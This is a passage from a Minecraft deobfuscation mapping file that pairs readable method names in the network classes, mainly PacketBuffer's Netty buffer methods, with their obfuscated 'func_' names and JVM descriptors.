net/minecraft/network/NetworkManager/func_150730_f ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/network/NetworkManager/disableAutoRead ()V net/minecraft/network/NetworkManager/func_150721_g ()V +MD: net/minecraft/network/NetworkManager/checkDisconnected ()V net/minecraft/network/NetworkManager/func_179293_l ()V +MD: net/minecraft/network/NetworkManager/flushOutboundQueue ()V net/minecraft/network/NetworkManager/func_150733_h ()V +MD: net/minecraft/network/EnumConnectionState/getId ()I net/minecraft/network/EnumConnectionState/func_150759_c ()I +MD: net/minecraft/network/EnumConnectionState/getById (I)Lnet/minecraft/network/EnumConnectionState; net/minecraft/network/EnumConnectionState/func_150760_a (I)Lnet/minecraft/network/EnumConnectionState; +MD: net/minecraft/network/EnumConnectionState/getFromPacket (Lnet/minecraft/network/Packet;)Lnet/minecraft/network/EnumConnectionState; net/minecraft/network/EnumConnectionState/func_150752_a (Lnet/minecraft/network/Packet;)Lnet/minecraft/network/EnumConnectionState; +MD: net/minecraft/network/EnumConnectionState/getPacket (Lnet/minecraft/network/EnumPacketDirection;I)Lnet/minecraft/network/Packet; net/minecraft/network/EnumConnectionState/func_179244_a (Lnet/minecraft/network/EnumPacketDirection;I)Lnet/minecraft/network/Packet; +MD: net/minecraft/network/EnumConnectionState/getPacketId (Lnet/minecraft/network/EnumPacketDirection;Lnet/minecraft/network/Packet;)Ljava/lang/Integer; net/minecraft/network/EnumConnectionState/func_179246_a (Lnet/minecraft/network/EnumPacketDirection;Lnet/minecraft/network/Packet;)Ljava/lang/Integer; +MD: net/minecraft/network/EnumConnectionState/registerPacket (Lnet/minecraft/network/EnumPacketDirection;Ljava/lang/Class;)Lnet/minecraft/network/EnumConnectionState; net/minecraft/network/EnumConnectionState/func_179245_a (Lnet/minecraft/network/EnumPacketDirection;Ljava/lang/Class;)Lnet/minecraft/network/EnumConnectionState; +MD: net/minecraft/network/EnumConnectionState/values ()[Lnet/minecraft/network/EnumConnectionState; net/minecraft/network/EnumConnectionState/values ()[Lnet/minecraft/network/EnumConnectionState; +MD: net/minecraft/network/PacketBuffer/readByteArray ()[B net/minecraft/network/PacketBuffer/func_179251_a ()[B +MD: net/minecraft/network/PacketBuffer/getVarIntSize (I)I net/minecraft/network/PacketBuffer/func_150790_a (I)I +MD: net/minecraft/network/PacketBuffer/writeBlockPos (Lnet/minecraft/util/BlockPos;)V net/minecraft/network/PacketBuffer/func_179255_a (Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/network/PacketBuffer/writeNBTTagCompoundToBuffer (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/network/PacketBuffer/func_150786_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/network/PacketBuffer/writeChatComponent (Lnet/minecraft/util/IChatComponent;)V net/minecraft/network/PacketBuffer/func_179256_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/network/PacketBuffer/readEnumValue (Ljava/lang/Class;)Ljava/lang/Enum; net/minecraft/network/PacketBuffer/func_179257_a (Ljava/lang/Class;)Ljava/lang/Enum; +MD: net/minecraft/network/PacketBuffer/writeEnumValue (Ljava/lang/Enum;)V net/minecraft/network/PacketBuffer/func_179249_a (Ljava/lang/Enum;)V +MD: net/minecraft/network/PacketBuffer/writeString (Ljava/lang/String;)Lnet/minecraft/network/PacketBuffer; net/minecraft/network/PacketBuffer/func_180714_a (Ljava/lang/String;)Lnet/minecraft/network/PacketBuffer; +MD: net/minecraft/network/PacketBuffer/writeUuid (Ljava/util/UUID;)V net/minecraft/network/PacketBuffer/func_179252_a (Ljava/util/UUID;)V +MD: net/minecraft/network/PacketBuffer/writeItemStackToBuffer (Lnet/minecraft/item/ItemStack;)V net/minecraft/network/PacketBuffer/func_150788_a (Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/network/PacketBuffer/writeByteArray ([B)V net/minecraft/network/PacketBuffer/func_179250_a ([B)V +MD: net/minecraft/network/PacketBuffer/alloc ()Lio/netty/buffer/ByteBufAllocator; net/minecraft/network/PacketBuffer/alloc ()Lio/netty/buffer/ByteBufAllocator; +MD: net/minecraft/network/PacketBuffer/array ()[B net/minecraft/network/PacketBuffer/array ()[B +MD: net/minecraft/network/PacketBuffer/arrayOffset ()I net/minecraft/network/PacketBuffer/arrayOffset ()I +MD: net/minecraft/network/PacketBuffer/writeVarIntToBuffer (I)V net/minecraft/network/PacketBuffer/func_150787_b (I)V +MD: net/minecraft/network/PacketBuffer/writeVarLong (J)V net/minecraft/network/PacketBuffer/func_179254_b (J)V +MD: net/minecraft/network/PacketBuffer/bytesBefore (B)I net/minecraft/network/PacketBuffer/bytesBefore (B)I +MD: net/minecraft/network/PacketBuffer/bytesBefore (IB)I net/minecraft/network/PacketBuffer/bytesBefore (IB)I +MD: net/minecraft/network/PacketBuffer/bytesBefore (IIB)I net/minecraft/network/PacketBuffer/bytesBefore (IIB)I +MD: net/minecraft/network/PacketBuffer/readBlockPos ()Lnet/minecraft/util/BlockPos; net/minecraft/network/PacketBuffer/func_179259_c ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/network/PacketBuffer/readStringFromBuffer (I)Ljava/lang/String; net/minecraft/network/PacketBuffer/func_150789_c (I)Ljava/lang/String; +MD: net/minecraft/network/PacketBuffer/capacity ()I net/minecraft/network/PacketBuffer/capacity ()I +MD: net/minecraft/network/PacketBuffer/capacity (I)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/capacity (I)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/clear ()Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/clear ()Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/compareTo (Lio/netty/buffer/ByteBuf;)I net/minecraft/network/PacketBuffer/compareTo (Lio/netty/buffer/ByteBuf;)I +MD: net/minecraft/network/PacketBuffer/compareTo (Ljava/lang/Object;)I net/minecraft/network/PacketBuffer/compareTo (Ljava/lang/Object;)I +MD: net/minecraft/network/PacketBuffer/copy ()Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/copy ()Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/copy (II)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/copy (II)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/readChatComponent ()Lnet/minecraft/util/IChatComponent; net/minecraft/network/PacketBuffer/func_179258_d ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/network/PacketBuffer/discardReadBytes ()Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/discardReadBytes ()Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/discardSomeReadBytes ()Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/discardSomeReadBytes ()Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/duplicate ()Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/duplicate ()Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/readVarIntFromBuffer ()I net/minecraft/network/PacketBuffer/func_150792_a ()I +MD: net/minecraft/network/PacketBuffer/ensureWritable (I)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/ensureWritable (I)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/ensureWritable (IZ)I net/minecraft/network/PacketBuffer/ensureWritable (IZ)I +MD: net/minecraft/network/PacketBuffer/equals (Ljava/lang/Object;)Z net/minecraft/network/PacketBuffer/equals (Ljava/lang/Object;)Z +MD: net/minecraft/network/PacketBuffer/readVarLong ()J net/minecraft/network/PacketBuffer/func_179260_f ()J +MD: net/minecraft/network/PacketBuffer/forEachByte (IILio/netty/buffer/ByteBufProcessor;)I net/minecraft/network/PacketBuffer/forEachByte (IILio/netty/buffer/ByteBufProcessor;)I +MD: net/minecraft/network/PacketBuffer/forEachByte (Lio/netty/buffer/ByteBufProcessor;)I net/minecraft/network/PacketBuffer/forEachByte (Lio/netty/buffer/ByteBufProcessor;)I +MD: net/minecraft/network/PacketBuffer/forEachByteDesc (IILio/netty/buffer/ByteBufProcessor;)I net/minecraft/network/PacketBuffer/forEachByteDesc (IILio/netty/buffer/ByteBufProcessor;)I +MD: net/minecraft/network/PacketBuffer/forEachByteDesc (Lio/netty/buffer/ByteBufProcessor;)I net/minecraft/network/PacketBuffer/forEachByteDesc (Lio/netty/buffer/ByteBufProcessor;)I +MD: net/minecraft/network/PacketBuffer/readUuid ()Ljava/util/UUID; net/minecraft/network/PacketBuffer/func_179253_g ()Ljava/util/UUID; +MD: net/minecraft/network/PacketBuffer/getBoolean (I)Z net/minecraft/network/PacketBuffer/getBoolean (I)Z +MD: net/minecraft/network/PacketBuffer/getByte (I)B net/minecraft/network/PacketBuffer/getByte (I)B +MD: net/minecraft/network/PacketBuffer/getBytes (ILio/netty/buffer/ByteBuf;)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/getBytes (ILio/netty/buffer/ByteBuf;)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/getBytes (ILio/netty/buffer/ByteBuf;I)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/getBytes (ILio/netty/buffer/ByteBuf;I)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/getBytes (ILio/netty/buffer/ByteBuf;II)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/getBytes (ILio/netty/buffer/ByteBuf;II)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/getBytes (ILjava/io/OutputStream;I)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/getBytes (ILjava/io/OutputStream;I)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/getBytes (ILjava/nio/ByteBuffer;)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/getBytes (ILjava/nio/ByteBuffer;)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/getBytes (ILjava/nio/channels/GatheringByteChannel;I)I net/minecraft/network/PacketBuffer/getBytes (ILjava/nio/channels/GatheringByteChannel;I)I +MD: net/minecraft/network/PacketBuffer/getBytes (I[B)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/getBytes (I[B)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/getBytes (I[BII)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/getBytes (I[BII)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/getChar (I)C net/minecraft/network/PacketBuffer/getChar (I)C +MD: net/minecraft/network/PacketBuffer/getDouble (I)D net/minecraft/network/PacketBuffer/getDouble (I)D +MD: net/minecraft/network/PacketBuffer/getFloat (I)F net/minecraft/network/PacketBuffer/getFloat (I)F +MD: net/minecraft/network/PacketBuffer/getInt (I)I net/minecraft/network/PacketBuffer/getInt (I)I +MD: net/minecraft/network/PacketBuffer/getLong (I)J net/minecraft/network/PacketBuffer/getLong (I)J +MD: net/minecraft/network/PacketBuffer/getMedium (I)I net/minecraft/network/PacketBuffer/getMedium (I)I +MD: net/minecraft/network/PacketBuffer/getShort (I)S net/minecraft/network/PacketBuffer/getShort (I)S +MD: net/minecraft/network/PacketBuffer/getUnsignedByte (I)S net/minecraft/network/PacketBuffer/getUnsignedByte (I)S +MD: net/minecraft/network/PacketBuffer/getUnsignedInt (I)J net/minecraft/network/PacketBuffer/getUnsignedInt (I)J +MD: net/minecraft/network/PacketBuffer/getUnsignedMedium (I)I net/minecraft/network/PacketBuffer/getUnsignedMedium (I)I +MD: net/minecraft/network/PacketBuffer/getUnsignedShort (I)I net/minecraft/network/PacketBuffer/getUnsignedShort (I)I +MD: net/minecraft/network/PacketBuffer/readNBTTagCompoundFromBuffer ()Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/network/PacketBuffer/func_150793_b ()Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/network/PacketBuffer/hasArray ()Z net/minecraft/network/PacketBuffer/hasArray ()Z +MD: net/minecraft/network/PacketBuffer/hasMemoryAddress ()Z net/minecraft/network/PacketBuffer/hasMemoryAddress ()Z +MD: net/minecraft/network/PacketBuffer/hashCode ()I net/minecraft/network/PacketBuffer/hashCode ()I +MD: net/minecraft/network/PacketBuffer/readItemStackFromBuffer ()Lnet/minecraft/item/ItemStack; net/minecraft/network/PacketBuffer/func_150791_c ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/network/PacketBuffer/indexOf (IIB)I net/minecraft/network/PacketBuffer/indexOf (IIB)I +MD: net/minecraft/network/PacketBuffer/internalNioBuffer (II)Ljava/nio/ByteBuffer; net/minecraft/network/PacketBuffer/internalNioBuffer (II)Ljava/nio/ByteBuffer; +MD: net/minecraft/network/PacketBuffer/isDirect ()Z net/minecraft/network/PacketBuffer/isDirect ()Z +MD: net/minecraft/network/PacketBuffer/isReadable ()Z net/minecraft/network/PacketBuffer/isReadable ()Z +MD: net/minecraft/network/PacketBuffer/isReadable (I)Z net/minecraft/network/PacketBuffer/isReadable (I)Z +MD: net/minecraft/network/PacketBuffer/isWritable ()Z net/minecraft/network/PacketBuffer/isWritable ()Z +MD: net/minecraft/network/PacketBuffer/isWritable (I)Z net/minecraft/network/PacketBuffer/isWritable (I)Z +MD: net/minecraft/network/PacketBuffer/markReaderIndex ()Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/markReaderIndex ()Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/markWriterIndex ()Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/markWriterIndex ()Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/maxCapacity ()I net/minecraft/network/PacketBuffer/maxCapacity ()I +MD: net/minecraft/network/PacketBuffer/maxWritableBytes ()I net/minecraft/network/PacketBuffer/maxWritableBytes ()I +MD: net/minecraft/network/PacketBuffer/memoryAddress ()J net/minecraft/network/PacketBuffer/memoryAddress ()J +MD: net/minecraft/network/PacketBuffer/nioBuffer ()Ljava/nio/ByteBuffer; net/minecraft/network/PacketBuffer/nioBuffer ()Ljava/nio/ByteBuffer; +MD: net/minecraft/network/PacketBuffer/nioBuffer (II)Ljava/nio/ByteBuffer; net/minecraft/network/PacketBuffer/nioBuffer (II)Ljava/nio/ByteBuffer; +MD: net/minecraft/network/PacketBuffer/nioBufferCount ()I net/minecraft/network/PacketBuffer/nioBufferCount ()I +MD: net/minecraft/network/PacketBuffer/nioBuffers ()[Ljava/nio/ByteBuffer; net/minecraft/network/PacketBuffer/nioBuffers ()[Ljava/nio/ByteBuffer; +MD: net/minecraft/network/PacketBuffer/nioBuffers (II)[Ljava/nio/ByteBuffer; net/minecraft/network/PacketBuffer/nioBuffers (II)[Ljava/nio/ByteBuffer; +MD: net/minecraft/network/PacketBuffer/order ()Ljava/nio/ByteOrder; net/minecraft/network/PacketBuffer/order ()Ljava/nio/ByteOrder; +MD: net/minecraft/network/PacketBuffer/order (Ljava/nio/ByteOrder;)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/order (Ljava/nio/ByteOrder;)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/readBoolean ()Z net/minecraft/network/PacketBuffer/readBoolean ()Z +MD: net/minecraft/network/PacketBuffer/readByte ()B net/minecraft/network/PacketBuffer/readByte ()B +MD: net/minecraft/network/PacketBuffer/readBytes (I)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/readBytes (I)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/readBytes (Lio/netty/buffer/ByteBuf;)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/readBytes (Lio/netty/buffer/ByteBuf;)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/readBytes (Lio/netty/buffer/ByteBuf;I)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/readBytes (Lio/netty/buffer/ByteBuf;I)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/readBytes (Lio/netty/buffer/ByteBuf;II)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/readBytes (Lio/netty/buffer/ByteBuf;II)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/readBytes (Ljava/io/OutputStream;I)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/readBytes (Ljava/io/OutputStream;I)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/readBytes (Ljava/nio/ByteBuffer;)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/readBytes (Ljava/nio/ByteBuffer;)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/readBytes (Ljava/nio/channels/GatheringByteChannel;I)I net/minecraft/network/PacketBuffer/readBytes (Ljava/nio/channels/GatheringByteChannel;I)I +MD: net/minecraft/network/PacketBuffer/readBytes ([B)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/readBytes ([B)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/readBytes ([BII)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/readBytes ([BII)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/readChar ()C net/minecraft/network/PacketBuffer/readChar ()C +MD: net/minecraft/network/PacketBuffer/readDouble ()D net/minecraft/network/PacketBuffer/readDouble ()D +MD: net/minecraft/network/PacketBuffer/readFloat ()F net/minecraft/network/PacketBuffer/readFloat ()F +MD: net/minecraft/network/PacketBuffer/readInt ()I net/minecraft/network/PacketBuffer/readInt ()I +MD: net/minecraft/network/PacketBuffer/readLong ()J net/minecraft/network/PacketBuffer/readLong ()J +MD: net/minecraft/network/PacketBuffer/readMedium ()I net/minecraft/network/PacketBuffer/readMedium ()I +MD: net/minecraft/network/PacketBuffer/readShort ()S net/minecraft/network/PacketBuffer/readShort ()S +MD: net/minecraft/network/PacketBuffer/readSlice (I)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/readSlice (I)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/readUnsignedByte ()S net/minecraft/network/PacketBuffer/readUnsignedByte ()S +MD: net/minecraft/network/PacketBuffer/readUnsignedInt ()J net/minecraft/network/PacketBuffer/readUnsignedInt ()J +MD: net/minecraft/network/PacketBuffer/readUnsignedMedium ()I net/minecraft/network/PacketBuffer/readUnsignedMedium ()I +MD: net/minecraft/network/PacketBuffer/readUnsignedShort ()I net/minecraft/network/PacketBuffer/readUnsignedShort ()I +MD: net/minecraft/network/PacketBuffer/readableBytes ()I net/minecraft/network/PacketBuffer/readableBytes ()I +MD: net/minecraft/network/PacketBuffer/readerIndex ()I net/minecraft/network/PacketBuffer/readerIndex ()I +MD: net/minecraft/network/PacketBuffer/readerIndex (I)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/readerIndex (I)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/refCnt ()I net/minecraft/network/PacketBuffer/refCnt ()I +MD: net/minecraft/network/PacketBuffer/release ()Z net/minecraft/network/PacketBuffer/release ()Z +MD: net/minecraft/network/PacketBuffer/release (I)Z net/minecraft/network/PacketBuffer/release (I)Z +MD: net/minecraft/network/PacketBuffer/resetReaderIndex ()Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/resetReaderIndex ()Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/resetWriterIndex ()Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/resetWriterIndex ()Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/retain ()Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/retain ()Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/retain ()Lio/netty/util/ReferenceCounted; net/minecraft/network/PacketBuffer/retain ()Lio/netty/util/ReferenceCounted; +MD: net/minecraft/network/PacketBuffer/retain (I)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/retain (I)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/retain (I)Lio/netty/util/ReferenceCounted; net/minecraft/network/PacketBuffer/retain (I)Lio/netty/util/ReferenceCounted; +MD: net/minecraft/network/PacketBuffer/setBoolean (IZ)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/setBoolean (IZ)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/setByte (II)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/setByte (II)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/setBytes (ILio/netty/buffer/ByteBuf;)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/setBytes (ILio/netty/buffer/ByteBuf;)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/setBytes (ILio/netty/buffer/ByteBuf;I)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/setBytes (ILio/netty/buffer/ByteBuf;I)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/setBytes (ILio/netty/buffer/ByteBuf;II)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/setBytes (ILio/netty/buffer/ByteBuf;II)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/setBytes (ILjava/io/InputStream;I)I net/minecraft/network/PacketBuffer/setBytes (ILjava/io/InputStream;I)I +MD: net/minecraft/network/PacketBuffer/setBytes (ILjava/nio/ByteBuffer;)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/setBytes (ILjava/nio/ByteBuffer;)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/setBytes (ILjava/nio/channels/ScatteringByteChannel;I)I net/minecraft/network/PacketBuffer/setBytes (ILjava/nio/channels/ScatteringByteChannel;I)I +MD: net/minecraft/network/PacketBuffer/setBytes (I[B)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/setBytes (I[B)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/setBytes (I[BII)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/setBytes (I[BII)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/setChar (II)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/setChar (II)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/setDouble (ID)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/setDouble (ID)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/setFloat (IF)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/setFloat (IF)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/setIndex (II)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/setIndex (II)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/setInt (II)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/setInt (II)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/setLong (IJ)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/setLong (IJ)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/setMedium (II)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/setMedium (II)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/setShort (II)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/setShort (II)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/setZero (II)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/setZero (II)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/skipBytes (I)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/skipBytes (I)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/slice ()Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/slice ()Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/slice (II)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/slice (II)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/toString ()Ljava/lang/String; net/minecraft/network/PacketBuffer/toString ()Ljava/lang/String; +MD: net/minecraft/network/PacketBuffer/toString (IILjava/nio/charset/Charset;)Ljava/lang/String; net/minecraft/network/PacketBuffer/toString (IILjava/nio/charset/Charset;)Ljava/lang/String; +MD: net/minecraft/network/PacketBuffer/toString (Ljava/nio/charset/Charset;)Ljava/lang/String; net/minecraft/network/PacketBuffer/toString (Ljava/nio/charset/Charset;)Ljava/lang/String; +MD: net/minecraft/network/PacketBuffer/unwrap ()Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/unwrap ()Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/writableBytes ()I net/minecraft/network/PacketBuffer/writableBytes ()I +MD: net/minecraft/network/PacketBuffer/writeBoolean (Z)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/writeBoolean (Z)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/writeByte (I)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/writeByte (I)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/writeBytes (Lio/netty/buffer/ByteBuf;)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/writeBytes (Lio/netty/buffer/ByteBuf;)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/writeBytes (Lio/netty/buffer/ByteBuf;I)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/writeBytes (Lio/netty/buffer/ByteBuf;I)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/writeBytes (Lio/netty/buffer/ByteBuf;II)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/writeBytes (Lio/netty/buffer/ByteBuf;II)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/writeBytes (Ljava/io/InputStream;I)I net/minecraft/network/PacketBuffer/writeBytes (Ljava/io/InputStream;I)I +MD: net/minecraft/network/PacketBuffer/writeBytes (Ljava/nio/ByteBuffer;)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/writeBytes (Ljava/nio/ByteBuffer;)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/writeBytes (Ljava/nio/channels/ScatteringByteChannel;I)I net/minecraft/network/PacketBuffer/writeBytes (Ljava/nio/channels/ScatteringByteChannel;I)I +MD: net/minecraft/network/PacketBuffer/writeBytes ([B)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/writeBytes ([B)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/writeBytes ([BII)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/writeBytes ([BII)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/writeChar (I)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/writeChar (I)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/writeDouble (D)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/writeDouble (D)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/writeFloat (F)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/writeFloat (F)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/writeInt (I)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/writeInt (I)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/writeLong (J)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/writeLong (J)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/writeMedium (I)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/writeMedium (I)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/writeShort (I)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/writeShort (I)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/writeZero (I)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/writeZero (I)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/PacketBuffer/writerIndex ()I net/minecraft/network/PacketBuffer/writerIndex ()I +MD: net/minecraft/network/PacketBuffer/writerIndex (I)Lio/netty/buffer/ByteBuf; net/minecraft/network/PacketBuffer/writerIndex (I)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/util/MessageDeserializer/decode (Lio/netty/channel/ChannelHandlerContext;Lio/netty/buffer/ByteBuf;Ljava/util/List;)V net/minecraft/util/MessageDeserializer/decode (Lio/netty/channel/ChannelHandlerContext;Lio/netty/buffer/ByteBuf;Ljava/util/List;)V +MD: net/minecraft/util/MessageSerializer/encode (Lio/netty/channel/ChannelHandlerContext;Lnet/minecraft/network/Packet;Lio/netty/buffer/ByteBuf;)V net/minecraft/util/MessageSerializer/encode 